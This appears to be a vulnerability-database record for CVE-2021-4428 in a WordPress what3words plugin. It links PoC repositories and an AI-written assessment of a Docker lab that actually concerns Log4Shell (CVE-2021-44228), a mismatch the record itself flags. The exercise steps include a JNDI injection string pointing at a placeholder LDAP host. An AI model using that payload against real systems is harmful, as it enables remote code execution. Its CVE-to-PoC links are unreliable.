Record summary

CVE-2021-4428 has a selected CVSS score of 2.7 (low); EIP currently links 3 repository PoCs and 1 lab environment.

Description

A vulnerability has been found in what3words Autosuggest Plugin up to 4.0.0 on WordPress and classified as problematic. Affected by this vulnerability is the function enqueue_scripts of the file w3w-autosuggest/public/class-w3w-autosuggest-public.php of the component Setting Handler. The manipulation leads to information disclosure. The attack can be launched remotely. Upgrading to version 4.0.1 is able to address this issue. The patch is named dd59cbac5f86057d6a73b87007c08b8bfa0c32ac. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-234247.

Description source: CVE List

Exploitation context

Available material

Repository PoCs
3
Lab environments
1

Affected products and versions

1
ProductSourceVersion rangeStatus
CVE List4.0affected

Proofs of concept

3

Repository PoCs

GitHublov3r/cve-2021-44228-log4j-exploitsRepository PoCby lov3rStars: 0Not analyzed6 files

408.4 KiB · linked to 2 vulnerabilities

GitHub

PoC details
GitHubCERT-hr/Log4ShellRepository PoCby CERT-hrStars: 0Not analyzed1 file

93 B

GitHub

PoC details
GitLabRekcah/cve-2021-4428Repository PoCby RekcahStars: 0Not analyzed5 files

2.6 KiB

GitLab

PoC details

Docker lab environments

1
GitHub

vulnapp

axelcurmi/log4shell-docker-labCreated
Vuln labCVE-2021-4428Dockerfile

1 Dockerfile

Analysisdeepseek-v4-pro:cloud ·

Environment assessment

A Docker-based lab for demonstrating the Log4Shell vulnerability (CVE-2021-44228). It includes a vulnerable Spring Boot application, an HTTP server for hosting .class files, and an LDAP referral server. The packet contains the Dockerfile and source code for the vulnerable application, along with a README describing setup and exploitation.

README.md:1-73vulnapp/Dockerfile:1-11

Lab assessment

Vulnerability lab

The README explicitly states it is a 'Log4Shell docker lab for CVE-2021-44228' and describes components, setup, and exploit steps. The application code logs user input with Log4j, which is the vulnerable behavior.

README.md:1vulnapp/src/main/java/com/axelcurmi/log4jvuln/controllers/BaseController.java:24
Lab shapeDockerfile
ServicesUnknown
Compose manifests0
Dockerfiles1
Evidence & reasoningComponents · CVE assessment · exercise context · review boundaries
Components

Services and files described by the evidence

vulnapp (vulnerable Spring Boot application)

vulnerable targetweb application

A Spring Boot web application with a login form. It logs unsuccessful login attempts using Log4j, including the username, which is user-controlled. This makes it vulnerable to Log4Shell JNDI injection.

vulnapp/Dockerfile:1-11vulnapp/src/main/java/com/axelcurmi/log4jvuln/controllers/BaseController.java:24vulnapp/pom.xml:1-58

log4shell-httpserver (HTTP server)

payload host

An HTTP server that hosts .class files used for remote code execution. It is referenced in the README but its Dockerfile or source is not included in the packet.

README.md:4-5README.md:17

log4shell-marshalsec (LDAP referral server)

LDAP redirector

An LDAP referral server that redirects LDAP queries to the HTTP server. It is referenced in the README but its Dockerfile or source is not included in the packet.

README.md:6README.md:18
CVE assessment

How the supplied evidence relates each vulnerability

CVE-2021-4428

Insufficient evidence

The packet references 'CVE-2021-4428' in a comment in Log4jVulnerableApplication.java, but the README and the lab's purpose are for CVE-2021-44228. The provided evidence does not establish what CVE-2021-4428 refers to or whether it is a valid identifier. The comment may be a typo.

vulnapp/src/main/java/com/axelcurmi/log4jvuln/Log4jVulnerableApplication.java:9
Exercise context

Requirements and sequence described by the evidence

Prerequisites

  • Docker must be installed to build and run the containers.README.md:10-18
  • A Docker network named 'log4shell' must be created.README.md:10
  • The attacker must have network access to the vulnerable application (port 8080) and the LDAP/HTTP servers.README.md:22-24

Evidence-described exercise path

  1. Build the Docker images for vulnapp, httpserver, and marshalsec.README.md:15-18
  2. Run the containers on the 'log4shell' network, exposing ports 8080, 3223, and 1389.README.md:22-24
  3. Open the vulnerable application and submit false credentials to observe logging of the username.README.md:27-28
  4. Inject a JNDI lookup string (e.g., ${jndi:ldap://<HostIp>:1389/<RCEObjectName>}) as the username to trigger remote code execution or information disclosure.README.md:30-32
Safety-review evidence

Behaviors behind the stored safety assessment

No harmful behavior observed

The visible behavior is limited to building and running a deliberately vulnerable application inside Docker containers for educational purposes. The Dockerfile exposes port 8080 and sets an environment variable, which are expected for a web application lab. No hidden, destructive, or externally connecting behavior is present in the supplied evidence. The README describes exploitation steps that target the lab's own components.

vulnapp/Dockerfile:1-11README.md:1-73
Review boundaries

What the analysis did not establish

  • The packet does not include the Dockerfiles or source code for the httpserver and marshalsec components, so their behavior cannot be assessed.
  • The CVE identifier 'CVE-2021-4428' in the source code comment is not a known CVE and may be a typo; the lab is intended for CVE-2021-44228.
  • The application.yml file is empty, so no additional configuration is visible.
Model interpretation

This review is limited to the supplied lab evidence packet. It does not assert that the environment runs, reproduces a vulnerability, or is safe to execute. Contract: eip-docker-lab-analysis-v1.

References

6